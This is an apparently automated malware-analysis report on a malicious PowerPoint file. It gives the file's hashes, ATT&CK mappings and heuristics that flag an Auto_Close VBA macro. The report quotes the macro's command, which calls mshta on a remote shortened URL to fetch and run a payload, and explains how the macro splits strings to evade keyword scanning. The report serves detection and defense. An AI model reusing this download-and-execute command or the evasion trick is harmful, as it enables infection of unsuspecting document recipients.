Malicious Office (OLE) / .PPT — malware analysis report

Static analysis result for SHA-256 647315b915f2600e…

MALICIOUS

Office (OLE) / .PPT

54.5 KB Created: 2020-03-29 20:44:48 Authoring application: Microsoft Office PowerPoint
MD5: 89e3d26cdc862e47d6c7d665135e28d6 SHA-1: bbe583c3f59b9daeb845368c42656b5fce69aa59 SHA-256: 647315b915f2600e11ad3b30b6514ddf9e48443496a222663a6409e72ed07e19
220 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1218.005 System Binary Proxy Execution: Mshta T1566.001 Spearphishing Attachment

The sample contains a VBA macro with an Auto_Close subroutine that executes a command using the Shell() function. This function is used to call 'mshta "https://j.mp/jhay2assox"', which is a common technique for downloading and executing malicious content. The use of split string literals to reassemble 'mshta' indicates obfuscation, further supporting malicious intent.

Heuristics 5

  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas
7a7c40620bd4093612a7ec965c9b0fc213ab2cf2f8f1b340b6fbe7dff0658f1e		 vba-macro oletools.olevba.extract_macros (decoded VBA source) 122 bytes

Open this report in the interactive analyzer, or submit your own file for analysis.